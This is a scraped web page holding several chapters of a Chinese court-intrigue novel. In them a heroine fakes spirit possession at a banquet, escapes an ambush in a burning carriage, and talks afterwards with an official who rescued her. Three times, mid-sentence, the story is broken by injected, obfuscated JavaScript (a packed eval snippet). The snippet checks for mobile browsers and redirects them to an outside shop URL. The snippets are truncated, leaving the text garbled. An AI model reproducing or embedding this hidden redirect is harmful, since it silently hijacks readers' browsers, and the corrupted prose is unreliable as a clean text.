众人看她眼中又是痛，又是悔，那豆大的泪珠，说话便如断了线的珠子，啪嗒啪嗒往下直落，谁看了都心疼。 只见她挣扎着站起来，移步上前，朝梁夫人的脸伸出手去：“这……是我......打的吧？” 梁夫人身子本能地一缩，手已经捂住了脸。 孟珂见状忙站住了，一脸心痛不已，抬手捶着自己胸口，气恼又无措地道：“姐姐，实在对不住。” “我……我这段时日，也不知怎么的，时不时就会陡然失了神志，变得好像......不是自己了。说了什么，做了什么，事后一点也记不得。就像......就像离了魂，有什么东西上了身，替我做的事。” 众人方才就已经嘀咕上了，一听这话，当即有人惊呼道，“这倒像是......” 有人接道，“鬼上身......" 大家不由都打了一个激灵，汗毛直竖。 “可不是嘛！都说熹园不干净，只怕她......沾了什么脏东西！” 孟珂含泪道：“姐姐，我......我不是故意的。我真不是故意的。” 说着，她上前拿起梁夫人的手，往自己脸上招呼，“姐姐，要不......要不你打回来吧！” 梁夫人忙挣扎着，要抽出手来。可孟珂也不知哪来那么大力气，死死钳住她的手，怎么也挣脱不开。 孟珂拿着她的手，胡乱往自己身上扯，边扯边道：“说来也怪，我以前也没这毛病啊。可......来绥陵没多久，突然就这样了，都闹好几回了。” 回雪帮腔道：“是！小姐可遭罪了。” 孟珂陡然睁大了眼，直直地看着梁夫人，逼近一步：“我还老做恶梦，梦见好多人，都黑乎乎的。没有头发，没有衣服，全都跟......焦炭一样，扭曲僵硬，什么姿势都有！” 明明艳阳高照，可众人一时间都觉得寒风乍起，不由哆嗦了一下。 “还.....还有个少女，一直叫姐姐、姐姐......她一直跟我说几句话，”孟珂眼睛发直，朝梁夫人一步一进逼，“姐姐，你知道她说什么吗？” 梁夫人一边摇头，一边往后退去，手上挣得更用力了。 “她说，姐姐，都是你欠我的！” “她说，她打你，你就打回去！” 一听这话，梁夫人猛地一哆嗦。 “她打你，你就打回去！” 说着，孟珂的手不着痕迹地略一松——看起来是梁夫人自己挣脱开，失了平衡，猛摔在地。 孟珂忙上去要扶：“姐姐，你没事吧？” 梁夫人在地上，手脚并用往后一缩，抬眼看着孟珂，眼中有惧。 *** 丫鬟婆子忙将她扶了起来，就听见了柯夫人的声音。 “这是怎么了？” 柯夫人虽就在隔壁院子，但孩子闹得欢，这边的吵嚷也没听见。看到下人往这边跑，才发现不对，跟了过来。 一进院子，远远地就见一个丫头跪在地上，旁边撒了一地仍未熄灭的火炭。莲池边有人滑过的痕迹，卢府小姐和丫鬟的一身燎黑的破洞，那丫头的一只脚满是泥水，两人的裙上也沾了不少。 再看梁夫人微微红肿起来的脸，当即明白了。 柯夫人走上前来：“都是这……丫头闹的？” 这话确实也没错。主子们都没出声，其他人也没应。 柯夫人素日是个最和善心慈的，这下又自觉理亏：韵儿冲撞在前，丫头火炭伤人在后，实在怪不得人发火——这么一盆火炭烫上去，那还了得？ 柯夫人一过来，周冶就见孟珂的神情微微一动——像个做错事被抓包的孩子。他明白，她不想让姨母看到自己这副模样。 于是，上前当起了和事老，对柯夫人道：“一场意外！都是这小丫头毛手毛脚惹的事，梁夫人也赔过罪了，小姐也没伤着，” 说着，向孟珂使了个眼色，“就各退一步，算了吧？意外而已，不值得挂怀。” 无人表示反对，他就当都同意了，去撵围观人等道：“散了，都散了吧。该吃酒吃酒，该赏花赏花。” 柯夫人自然领情，自己是主家，又理亏，有些话自不便去说。她感激地看了周冶一眼，对孟珂道：“天寒地冻的，小姐仔细着凉，先更了衣再说？” 转头问回雪，“小姐可带了衣包？” 回雪应道：“劳柯夫人挂心，带了的。” “那就好，刘嬷嬷，带小姐下去更衣。”柯夫人提醒道，“想必这位姑娘没带，替姑娘找一身。” 刘嬷嬷应了，带着二人离去。 *** 孟珂换了衣服出来，见周冶带着侍剑，正坐在廊下看花。 经过他身后，孟珂只略施了施礼，没打算搭话。 回雪却忍不住冷笑道：“大人还真是怜香惜玉，就那么不忍心让人跌入莲池。” 周冶却不生气，笑道：“你这丫头，倒是个忠心护主的。” 今日这样的后宅争斗倒也罢了。那日云鬓山上，面对那些扮成盗匪的厉害角色，她也悍不畏死，一力护主。 想到此，他上下打量了回雪一遍，她刚才在莲池边的反应很快，动作也敏捷，根骨不错，倒该认真学点功夫的。 孟珂笑着对回雪道：“大人护的不是那个人，而是你。倘若那人真跌了进去，你的罪过就大了，给了她生出更大是非的理由。” 回雪道：“小姐，我……是不是做得过了？” 孟珂拍拍她的手：“不管你怎么做，都不为过。你家小姐，跋扈也可。偶尔给她们个面子，也可。你不必多想。” 侍剑在一旁听羡慕了，转眼去看公子。 周冶横了他一眼，满脸都在说，我对你还不够好？又去看孟珂，眼中不满地道，非得这样哄抬市价？ “公子！” 这时，被赶出去的洗墨上气不接下气地跑了过来，“公子，出事了！” 孟珂的脚步一顿。 洗墨看了二人一眼，见周冶没阻止，便直言道：“牢里出事了！那郑氏中了毒，刘宝被一堆人犯照死里打......” 周冶打断道：“都死了？” “死了......大半了。” 周冶恼火道：“不是让盯好了吗！” 刘宝一入狱，周冶就特意将他关在了郑氏隔壁，着人盯着二人，看他们可能碰撞出些什么。可他俩愣是谁也不搭理谁，如今出事，偏倒一起出了。 *** 见周冶走了，孟珂吩咐了些什么，便朝着梁夫人走去。 在她身边站住，顺着她的目光看向满园梅花，笑道：“原来姐姐喜欢梅花？果真是心性高洁。我倒喜欢春日那海——” 她故意拖长了，看梁夫人的脸色果然僵了一瞬，才又笑道，“那海一样的桃花呢。只是，跟姐姐一比，未免浮艳，倒不好意思说了。” 梁夫人的确以为她要说的是海棠，转眼去看她，却发现眼前这人她完全看不透。 她时不时提到些与那人有关的东西，到底是无心的巧合，还是故人归来，又或者是她所说的“鬼上身”？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999127|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>只可惜，今日白闹这么一场，想要再拉她的袖子看，却是不能够了。 就在这时，孟珂突然撩起两只袖子，冲她一伸：“姐姐你看，我没事的。” 梁夫人倒愣住了，难道自己不小心把心里话说出口了？ 错愕之间，她还是忍不住低头去看，只见孟珂白皙的小臂上，有几片红印，但别的就什么也没有了。 而那个人的左手小臂上，说来也奇，有五颗痣，正似北斗七星之形；而星斗与柄的连接处，正是一颗红痣。 梁夫人托起孟珂的手臂，假装心疼地道：“还说没事，这红印，可不就是方才烫到的。” 说着，手上似不经意地擦过，但还是用了些力道——完全没有脂粉遮盖的痕迹。她心中不由疑惑，难道……真是自己多心了？ 孟珂抽回手去：“油皮都没破，很快就消了，姐姐不必悬心。咱们这就算，就此揭过了？” 梁夫人点头笑道：“那是自然。” 如果她不是那个人，难道是那个人在背后指使她？无论如何，她都不相信，孟珂跟那个人毫无关系。 孟珂又说道：“思园这名字，想必是陈姐夫，特意向姐姐表明心迹吧？韵儿的名字，清韵二字，便是出自‘香中有别韵，清极不知寒’，也是取自梅花。” 梁夫人僵笑道：“妹妹说笑了，这是为我……婆母种的，喜欢梅花的是婆母。” 孟珂“哦”了一声，笑道：“难得姐夫一片孝心！我还以为，是种给姐姐看的呢。” 梁夫人斜了她一眼，意味深长地笑道：“可惜啊，这赏梅宴迟了两日。要是早两日，妹妹还可见到园子里养的异兽。可巧前日走脱了。算算，正是我初遇妹妹的那……那几日捕到的呢。” 孟珂自然知道，这“异兽”姓樊。 梁夫人道：“也不知是自己跑了，还是让人偷了，如今是死是活。最可气的是，连那看养的下人，也一并不见了。” 孟珂笑道：“姐姐，野兽终究是养不熟的，关在家中，反是祸患。走脱了，是老天在护持姐姐呢。我就说，姐姐是吉星高照之人。” “那就借妹妹吉言了。” *** 孟珂知道，自她踏入这别院起，就有眼睛在观察她的一举一动。既然来都来了，就演到底吧。 她想看什么，便演什么给她看。 也许是霍茹蕙生于斯长于斯，始终没有离开过明州之故。她只知道，对大多数人来说，改变很难。可她不知道，于孟珂来说，这些表面的脱胎换骨，却很容易。 她自小就跟着父亲外任，辗转多地，每几年就换一个地方。她便换一个圈子，换一种生活，也就换一套饮食、风俗，甚至说话的方式。 在霍茹蕙眼中，自己跟她和绥陵城其他孩子差不多，却不知道她自小就有极强的改变和适应之能。 她能毫无障碍地在几种语言之间切换——哪怕醉酒之后也一丝不错。 周围人说官话，她便答官话。周围人说吴侬软语，她便答吴侬软语。天南地北的语言，她都无障碍，还是能让本地人都听不出破绽的那种。 更别提，人自少年到成人的过程，是改变最大的时期。 这时候换了水土，所谓的乡音也好，口味也罢，乃至动作、言语，都会变。更别提她对自己的刻意改变和训练，要蒙混过自以为了解她的霍茹蕙去，不是什么难事。 挨到了晚膳之后，差不多了，她也该下场了。 见她起身告辞，一些人明显松了口气。 演戏的是她，倒像累着了她们似的。孟珂心下不由好笑。 不过，经过今日这场闹，她的跋扈和喜怒无常，从传言变成了她们亲见的事实，还添了一重疯癫，以及不时鬼上身的可怖——也不怪他们。 出得思园，有个小厮候在熹园的马车旁，见她便作揖下拜：“小姐，有故人相邀。” 孟珂看着他：“哪门子的故人？” 园内，梁夫人笑道：“她既然来，定然做好了准备，诸般试探都未见得有用。可她若以为，我就这点手段，就未免太轻敌了。压轴好戏，哪能在这园子里，在大伙儿面前演呢。” 园外，那小厮道：“事关梁家大宅失火之案，其他的，待小姐见了人，自去问吧。” “带路！”孟珂敛祍上车。 熹园的马车，跟在那小厮的马车之后，没入夜色中。 几条黑影不知从哪里窜出，一路尾随而上...... 梁夫人看向夜空，一脸畅快：“今夜，这绥陵可真热闹啊！” 孙嬷嬷笑道：“可不是，衙门今夜乱着呢，就是哪里闹起来了，也无暇分身去顾。” 31. 再探 却说县衙大牢里的郑氏和刘宝二人，城中数得上号的大夫都去看了，无不摇着头出来。 难道真就这样让人双双灭口了？想想都不甘心。周冶拧着眉，心下气闷。 洗墨素有急智，原地转了几圈，突然一拍手道：“还有！公子！还有！” 周冶却听懂了。 “城中还有一个大夫！比这些大夫，绝对只强不弱！” 两人同时道：“熹园！” 这是到处都传开了的，说孟珂体弱，来绥陵就是靠温泉调养，自然也是带了随行大夫的。 周冶看了看时辰，估摸着陈府别院的宴席这会定还未散，便吩咐侍剑：“你脚程快，速去陈府，请得小姐允准，再去熹园将大夫请来。” 侍剑得令去了，但还没到陈府就见了熹园的马车。他正要上前，却发现有什么不对——回熹园不该走这条路，前面还有个马车领着，不知要往哪里去。 他留了个心，又多看了两眼，发现更不对劲了——几条黑影不远不近地跟着，也不像熹园暗卫。再看这路线的方向，只怕是往湖边僻静处去的。 有了前两次“救”孟珂的经历，侍剑也不知道，这位小姐是又在设什么局，还是真遇到什么危机。 想了想，他叫一同来的官差先回衙门去报信，自己则尾随了上去。 听了信，周冶也犯了嘀咕，若要去看吧，自己被耍倒在其次，没准儿又坏了她的事，倒左右不是人了；可若不去，又怕真的有事。 洗墨在一旁冷笑道：“公子！你还考虑什么啊？都说事不过三，你这都上了人两回当了，何苦来呢？有您这样，记吃不记打的么！” 还嫌没完，又补了一句，“你又不欠她的。” 周冶让他这一顿说，倒吸了一口气，却也没反驳——话虽让人不舒服，可也在理。 *** 见公子还在犹豫，洗墨往牢里一指：“咱们自己这儿一摊子事还没完呢，管别人呢......” 周冶只觉耳边嗡嗡的，似有蚊子乱飞，什么也没听清。半晌，他“腾”地站了起来：“不，不对，这次不一样！” 他边想边道，“只有千日做贼的，哪有千日防贼的。谁日日出门都带一整队暗卫？她再料事如神，也不会料到哪一天、什么人、设什么陷阱。” “今日，她本就只是在城中赴宴而已，后宅争斗毕竟不至伤人性命。我看她带的那个马夫是个难得的好手，寻常情况也够应付了。但若有人是故意下套的，他一个人就不够了，要牵制，要引开，都容易......” 洗墨嘟囔道：“那不是还有侍剑跟着？就算真有事，他自会帮忙。单是他们二人的功夫，就够得上多少人了？衙门里今夜又是这样，指不定还有没有事呢，公子您还是……先顾好自己这摊子事吧。” 但周冶仿佛根本没听见似的，吩咐他道：“你拿我的拜帖，直接去熹园，就说……就说小姐已经应了。反正，你不管是请，是骗，还是绑，都先把大夫弄来，把这边的人救上再说。” 又嘱咐涤砚道，“衙门里的事，就全权交给你了。在我回来之前......” 他看了一眼，牢里那两个死了大半的人，“先封锁一切消息。” 涤砚从不多话，应了个：“是。” *** 孟珂心中一直注意着方向，马车先是向北折入了北阙大街，又向东走了一段，一路曲曲弯弯的，进了一条暗巷。 暗巷两边都是高墙，前面的马车忽而停了。 回雪掀帘一看：“怎么不走了？” 那小厮已经下车来，冲她一笑：“姑娘莫急，就在此处。” 话音未落，马车上已经下来几个黑衣人。 回雪扫了巷子一圈，已经闪出数条人影，正朝他们包抄而来。 月光下，这些人手上的兵刃寒光闪成一片，步步逼近。 孟珂端坐车中，理了理裙摆，冷声道：“冲过去！” “是！”车夫一鞭挥下，马儿嘶鸣一声，抬起前蹄，猛冲了出去。 那些黑衣人同一时间也飞跑着冲了上来。 那车夫也是勇武，一手提缰，一手执一条长鞭，抽落从两面往车上扑的黑衣人。 这人功夫实在不俗，黑衣人围了几次都被打退。但他一边赶车，一边杀敌，终究不便，渐渐开始有些左支右绌，身上中了数刀。 “回雪姑娘！” 回雪闻声冒头。 车夫余光瞥见她，就将缰绳和马鞭往她一扔，同时伸手从车辕下抽出一把长柄大刀来。 回雪接住缰绳和马鞭的瞬间，车夫已经飞身上去，与黑衣人打作一团。不多时，便硬生生地在黑衣人中，撕开了一条口子。 他高声喊道：“走！快！” “好！”回雪当即提缰抽马，驾车冲了过去，身后留下一句，“老关，撑着！” 老关果然有些一夫当关万夫莫开的架势，一人一刀，横在巷中，黑衣人潮水一样涌上来，冲了数次而不得过。 一看冲不过，一声呼哨，黑衣人向两侧的墙头和房顶散开，从四面追了上去。老关忙提刀紧追而上。 出了包围圈，孟珂一看，马儿已然受惊，刚才一阵乱走之下，竟然猫了一个圈，前头就要转回北阙大街了，已经能听见夜市上的人声喧哗。 听到越来越近的人声，她心道，不好，这般狂奔过去，只怕要踩踏伤人无数，忙道：“往湖边去，跳人少的路！” 回雪回头看小姐：“可少人的地方，他们就毫无顾忌了。” 对方之所以引他们入暗巷，就是不想让人看见。这也是老关方才调转方向，往人多处走的原由。 “听我的，赶紧！往湖边去！” 思园内，梁夫人站在莲池边，看着水中黑漆漆的倒影，笑道：“这靠山要吃山，靠水，自然也要用水。” 说着，她捡起一块小石子，往水中轻轻一掷，随着扑通的入水之声，笑道，“大晚上的，熹园的马儿受了惊，慌不择路，连人带车，不幸跌入了湖中。” *** 周冶带了人，快马一路出去，见北阙大街上人仰马翻的乱象，忙抓着个惊魂未定的路人问：“是哪家的马车？” 那人却还傻着，一句话也说不出来，好在一旁有人替他答道，“大人，是那熹园的马车。马好像受了惊，从西边来，冲了一段，弄成这样。那驾车的姑娘，强扭着马头，钻进那边小巷子里去了。” 周冶当即明白，她这是不想在人多处制造伤亡，忙又问：“从哪儿转的，哪条巷子？” 路人忙往一处指。 是朝南，往湖边人少处去的。 周冶忙打马冲了上去，心下不由急了起来——路人说是姑娘驾车，便知车夫已经不在。 却说侍剑，一直暗中跟着马车，果见两边打了起来。因吃了上两回的亏，他想着，这次非得等到性命交关之时，若还没有伏兵跳出来，再出手也不迟。 马车冲上大街的时候，那些黑衣人各自隐匿身形，攀援走壁地尾随上去。到了人少处，才重又冲了出来。 侍剑看着，心道，也不知这小姐到底是心善，还是心机深重，朝这僻静处，是好让谁下手呢？前面最好是有她的人伏击。 马车一路狂奔，人迹越来越少，草木逐渐茂盛。 眼看黑衣人就要赶上，马车忽而勒住了些，放慢了些速度，但还是控制不住。这时，只见一个人影纵身一跃，滚入了路边的灌木丛里。 黑衣人见状，兵分两路，一路追入树林，一路继续追着马车而去。 侍剑跟上去，见前方草木摇动，依稀见孟珂跌跌撞撞而去，马车又在继续朝湖边狂奔不止。 他只一个人，分不了两半，想了想，小姐才是他们的目标，还是这边更要紧。他看了马车一眼，心道，回雪姑娘，你就先撑一撑吧，别被追上了。 他一路往林中去，心上不由又担心起来，等他们发现车里的不是小姐，是杀，还是留作人质呢？ 这报信的死哪儿去了，怎么还不见救兵来呢？公子莫不是......跟他一样，觉得被骗了两回，这次不信了吧？那可就坏事了！这次看着还真不像有伏兵的样子。 这些人身手不错，人数又越聚越多。剩下这些，单他一个人怎么够？现在这样，即便救得了这个，也救不了那个。好歹都是认识的，他也不忍心看哪一个去死。 周冶从后面赶来，远远看到一个身影追入林中，虽看不真切，但那身形，应该是侍剑无疑。 再看路上的痕迹，马车分明还在奔着前方继续跑，路线并没大偏离——车上显然还有人在努力控马。 侍剑已经追了一路，他便直奔马车而去，待赶上黑衣人，已经看得见月色下大片发亮的水域。马儿仍在发足狂奔，离湖边越来越近。 黑衣人在前方追，周冶一行人冲上去拦，缠斗作了几处，一时间谁也占不了上风。 他看着马车疾驰，心下越来越急，再拖下去，就该连人带车一起冲进湖里了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999128|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >人就算坠崖，还有生还的运气。但入了水，只需几息就能溺毙。这大晚上的，一旦入水，上哪儿救去？ 思园内，孙嬷嬷问：“她若是胆子大，直接跳车呢？” 梁夫人转头看她，好像问的是个极蠢的问题：“那就抓了，扔下去。” “若是她不跳车，也不让马车下水，比如，一直在路上绕呢，慢慢把马……跑死？拖到有人发现来救？” 梁夫人看着池水，冷笑道：“自会让她，不得不入水！” *** 就在这时，周冶余光忽见有火光骤然一亮。 他转头一看，心道，“不好！” 眼见一时摆脱不了这咬上来的尾巴，黑衣人竟搭弓，拉起了一支火箭。 周冶一脚踹飞眼前的人，奔那拉弓的人而去。 可人还未至，一箭已经飞出。 火箭落到了马车前方，有什么东西被点燃了，只听马儿一阵嘶鸣，跑得更疯了。 孟珂在车上，余光瞄着火箭飞来，也心道不妙，伸手从身后操起个软枕，将被引燃的车帘扑灭。可心下也知，这只是拖时间罢了，她还能每一处都扑灭不成？ 老关被缠住之后，摆在她们面前的路，不是跳车被活捉，就是跳水死遁。 寻常都是下人装作主人，引开追兵。但回雪水性不好，下水难有活路，于是，孟珂让她披上自己外衣，跳了车。她自然没指望能骗过这些人，但至少能让他们分个兵，牵制住一部分人手。 看着周冶的人赶上来，缠住了黑衣人，她好歹小小地松了口气，谁知还有火攻这一出。 有周冶的人拦着，马车好歹同他们拉出了一段距离。她估摸着，他们忙乱中也看不清这边状况，从身后摸出一把弩来，扔掉缰绳，瞄准了马的脖子——马一死，看这车还怎么跑。 弩箭倏地飞出，可就在将要飞至的瞬间，马一扭脖子，便歪扎在了马肩上。 马儿一吃痛，扬起双蹄跳了起来，马车也随之被抬起，几乎倒立。 孟珂在里面跌滚而落，连连磕撞之下，砸落在了后窗上。 还没稳住身形，马儿一落蹄，马车又重重地砸落在地。搁普通马车，这一震便得散架——那倒好了。 可这车造得够结实，愣是完完整整，她则被甩得往前一扑，趴在了车辕上，好歹死死抓住了，没滚下车去——那得让马一翻后蹄，蹄踩而死，再被车轮碾压一遍。 这颠扑之间，后方接连射来火箭，周冶也拦不完，还是有几支落到了马车上，点燃了好几处。 她也顾不上那么多了，强忍吃痛，撑起身子，再抬起弩来。 但双臂因为摔痛而使不上力，不只发软，还直打颤，她往边上一挪，背靠车壁，借力稳住，又是一发。 这次倒是正正扎入了脖子，但马儿的尾巴被飞来的火箭燎着了，又跳又扭，左挣右扎，带着马车也上下颠砸、左右腾挪——可马就是不倒，车也就是不散。 孟珂简直哭笑不得，果真万事万物有利便有弊，这好马好车的弊端，今夜算是知道了。 看着前方几乎都是白亮的一片，她心道，再这样，便真的只有跳湖了。 莲池边，孙嬷嬷看着梁夫人，劝道：“夜深寒重，夫人还是早些回房去吧。” 梁夫人笑道：“一想到此刻湖边热火朝天的样子，我就......浑身发热，哪里还会冷。” 孙嬷嬷看她那么兴头，不想触霉头，可更知道希望越大失望越大，到时倒霉的还是自己，还是先浇点儿冷水的好，于是道：“可这人下了水……也可能溜走啊。岸边毕竟草木多，随便找一处就能藏身。她若真是那个人，水性那么好，哪里又抓得住？” 梁夫人道：“谁说一定要抓住人了？” 孙嬷嬷好像明白了什么：“夫人是想试……她会不会水？可会不会的，也不一定就是那个人啊！” 梁夫人笑道：“若她真是信中所说的孟家女儿，又在京城长大，根本就不可能会水。即便她会水，在这样的冬日里，你说，寻常人能撑多久？” 说着，她“啪”一声，随手掰下一枝临水而照的梅花，“不管她今夜是死也好，活也罢，都不耽误我的事。” 她撕下一片花瓣，轻轻往水里一掷，“在这样的冬日里，只要将岸边守死了，不让人上岸，也不让船只靠近，这还能活下来……不是水性万中无一的人，绝对做不到。” 看着水面上随波漾着的一层花瓣，笑道，“生死关头，我看你还藏不藏得住！” 32. 人情 眼看着马车上的火烧起来了，周冶这时惊觉，坠车入湖，倒是祸福不定了——可一下了水，他就使不上力了，只能希望她长于此地，有力自救了。 正这时，听得后方马蹄得得。只见那些黑衣人也一脸意外，看来是敌友不明。 等看到领头的人，周冶大喜，定是涤砚见没人回去，大夫又安然抵达，于是派了人来相援。 “交给你们了。” 他高喊一声，甩开黑衣人，冲马车而去。 只听得“砰”一声响，马车的后侧被推开了——看不出来，居然有隐藏的后门。 只见孟珂现身于燃烧的车中，火舌就在她身周舞动，好像下一刻就要将她吞没。 周冶心都抽紧做一团，便如离弦之箭，冲了上去。 可还是慢了。 只见她抬眼看着自己，好像笑了一下，微微半蹲，随即如展翅的凰鸟，自火中一跃而下。 周冶飞身上去，还是没能接住，眼见她在地上接连滚翻而下，直到磕在了一块大石头上，才被拦下。 孟珂痛哼了一声，却不管不顾，而是吃力地转眼去看马车，目中火光灼灼。 周冶也顺着她的目光看过去—— 那马车瞬间被火苗吞没，随着凄厉的长声嘶鸣，腾空而起，宛若一架身披火云的飞马车。这飞马车，在夜幕上滑过一道烟与火的光亮弧线，飞腾于那白亮的湖面之上，竟有种奇异超绝的美。 月色下，那一平如镜的湖面上，下一刻便砸出了巨大的水花。 马车入水，当即发出一溜“滋滋”的声响，同时黑烟四起。 孟珂的身子猛地抖动了一下，随即失去了意识。 “孟珂！” 周冶忙三步并作两步，冲上去将她半扶半抱起来，轻轻唤道：“孟珂！” *** 好在，她只几息便恢复了意识。 周冶终于松了口气。 她睁眼就忙四下去看，周冶顺着她的目光看过去：“放心吧，那些黑衣人看占不到便宜，就四散了。” 说着，粗粗地替她检查了一下，额角磕伤，手上有擦伤，膝盖也磕破了，想必身上也少不了擦伤、磕伤。 “怎么样？有没有哪里特别疼？” 孟珂头有点晕，倔强地摇了摇头：“没有大碍。” 周冶道：“关节和骨头没事，才算没大碍。来，我扶你，试着站起来，动动手脚。” 话没说完，她已经挣扎着试图站起来。周冶一时气闷，真不知道她这种时候还那么急干嘛。 果然，右脚使不上力。 她只扫了一眼，周冶就明白了：“扭伤了？” 他没好气地道：“方才看你挺勇武的啊，我还以为你是金刚不坏之身，还是会飞天遁地呢。一刻半刻也等不了，完全没在怕的。” 可话一出口，他自己就顿住了，还真是一刻也等不了。 “不然呢，等着被烧成.……”孟珂说着也住了口，顿了顿，无所谓地道，“死不了就行。” 周冶抬眼看她，怎么觉得她还有半句没说出，分明是死了也罢的意思。 “你不是比谁都能盘算吗？手上也不少人，又是暗卫，又是江湖人的。结果，出个门，就这么一个车夫、一个丫鬟，三两个人就敢往人陷阱里跳，嫌命长吗？” 孟珂笑道：“命，有时候是嫌长了。不过，不是今夜。” 周冶气结。 孟珂笑道：“不过是一次试探而已，没抱必杀之心。” 周冶哼了一声：“不杀，是想赶你进湖里当水神娘娘呢，还是绑你回去做压寨夫人呢……” “当压寨夫人、水神娘娘……” 见她好像还真比较了起来，考虑哪个更好一点，周冶哭笑不得。 果然，她想了想，给了他一个“两个都还不错”的笑。 周冶：“……” 孟珂逗完了他，才笑着认真道：“若不想战，自然要严防死守，不战而屈人之兵。既要战，自然要虚虚实实。骄人之兵，才能诱敌深入，一举歼灭。” “为了骄人之兵，你就这样空门大开，拿自己的小命冒险？” 刚才的一切都发生得太快了，也太险了，周冶现在都还心有余悸。 此刻回想起来，她从火中跃下之前，半蹲下去，虽钗环散落，发散脸黑，但那坚定的目光，镇定自若的气度，无畏的凛然，倒是散发出与她这柔弱外表不符的杀伐之气。那燃烧的马车，当真让她站成了火中战车。 孟珂一脸理所当然地道：“现在还没到正面对决的时候，自然不能让人摸清底细。哪有早早把底牌全亮出来，让敌人去全副武装，同你力敌死拼的道理？” “正是有身份做掩护，对方才会有所顾忌，才不觉得此刻就需要你死我活。这份顾忌和无需你死我活，就是我的优势。” 她站着单腿跳了两步，看着周围状况，“再说了，不把对方的人拉出来遛一遛，又怎么知道其虚实、强弱呢？这最要紧的，便是对方搞不清楚你，而你却将对方了解得一清二楚。不是吗？” “是，是，是，”周冶忙去扶她，“你说的都有理。你就叫孟有理。” *** 想想她方才捏准时机的勇武，一人应对这一队黑衣人的胆识；在看她如今也只顾去看状况，判断形势，周冶心中不由疑惑，难道……她就不会怕吗？ 他还真没见过这样的女子。但若女子可以上战场，女将军，就当是她这个样子。 有勇有谋，有定力，有将气。 周冶不由也替她想上了：“可你的身份……能藏多久？既然我能识破，其他人也能。想必你的故人们更容易识破。不管你怎么藏，怎么蓄意干扰，总会有漏洞。” 没想到，她并不反驳，点点头道：“能藏多久是多久。有便宜不占，傻吗？” 周冶笑了。 不过，他还是觉得没那么简单：“你不是这么冒险的人，也不是靠赌字行事的人。” “我是不喜欢赌，但有时难免得赌上一赌。况且，今夜虽是赌，但赢面很大。” 孟珂转头看他道，“我知道，她不介意我死，但她希望我这个卢府小姐，死成一个意外，而不是死于会被追究查证的刺杀。” 她自嘲地笑笑，“我还知道，比起让我死，她更想要的是……验证一些事，比如，我是谁，跟她害怕的那个人，到底有没有关系。” “我知道她一直在怀疑，还时不时给她扔个饵，除了要搅得她心绪不宁，打乱她阵脚，也是让她……”她突地顿住了，“越说越远了，总之，知道她想要什么，这场赌，也就不算赌了。” 周冶道：“怎么说？” “如果她今夜下的是必杀令，那也许还真能让她达成。但当一个人想要的东西多了，指令就不够简单明确，下面做事的人必然掣肘，就容易出岔子了——若是验证不成，人又死了，还带来卢府的查证甚至报复，怎么办？做事的人得为自己考虑啊。” 她冲他一挑眉毛，笑道，“这有模糊，就有掣肘。这有考虑，就有犹豫。而这掣肘和这犹豫，就是我的生机。” 瞧她还得意上了，周冶笑道：“可你冒这份险，又是为了什么呢？” “你这么做，必定是因为你有所求，也必定是因为这份所求，值得冒这个险，而不是单纯是看赢面大小，就去赌上一赌。” 周冶知道，她是个耐得住性子的人，绝不会有无畏的多余动作。 “是，我有所求。”孟珂道，“我也想验证一些东西。” 她徐徐吐出一口气，声音也沉静了下去，“我验证了，她最怕的是——我就是那个人。我验证了，她杀曾怀义不是为了梁家，不是为了死去的闺蜜梁婉章；也验证了，当年那些事，她也参与其中。” 她害怕亡者归来，更害怕一个有着碾压之势的人，来对她复仇。 这么说来，似乎是值得。周冶点了点头，但又发现，她说出这些话的时候，没有一丁点盘算成功的满意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999129|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，而分明透着一种……失望。 她的眼睛里，有嘲讽，有讥诮，还有一种死心的……沉重。 *** 孟珂短暂地失了点神，又抬头笑着看他：“今夜，要感谢大人相救。” 不等周冶应答，又补了一句，“这次是真的感谢公子的救命之恩。” 周冶笑道：“小姐都说……是友了。” 孟珂笑着看他：“就没想过，又被我算计？” 周冶实话实说：“有想过，但我想着，就再给你一次机会吧。希望你不会辜负我一片……爱民之心。” 孟珂飞快地道：“既然是友了，若有求于大人，自会坦诚直言。不会欺你，利用你。” 说着，又觉得，这承诺给得太早也太绝对，又补了两个字，“尽量。” 周冶听着前面挺顺耳，笑着笑着，又被涮了。 孟珂笑：“放心，我这人不喜欢亏欠别人。但凡欠的，都会还。” “这倒也不必，”周冶道，“我又不是冲着攒人情来的。” “你冲不冲那是你的事，我还不还又是我的事，两无挂碍。” 也是。周冶想想，又问：“如果今夜我没有来，小姐预备如何呢？” “你会不来吗？”孟珂反问。 自己这是被吃定了吗？周冶有一丝不服气：“你就这么笃定我会来？” 孟珂摇头笑了：“我不是那个意思。” 周冶想想，自己想通了：“也是，你怎么会把希望寄托在一条可能出岔子的路上，必定有多手准备。” 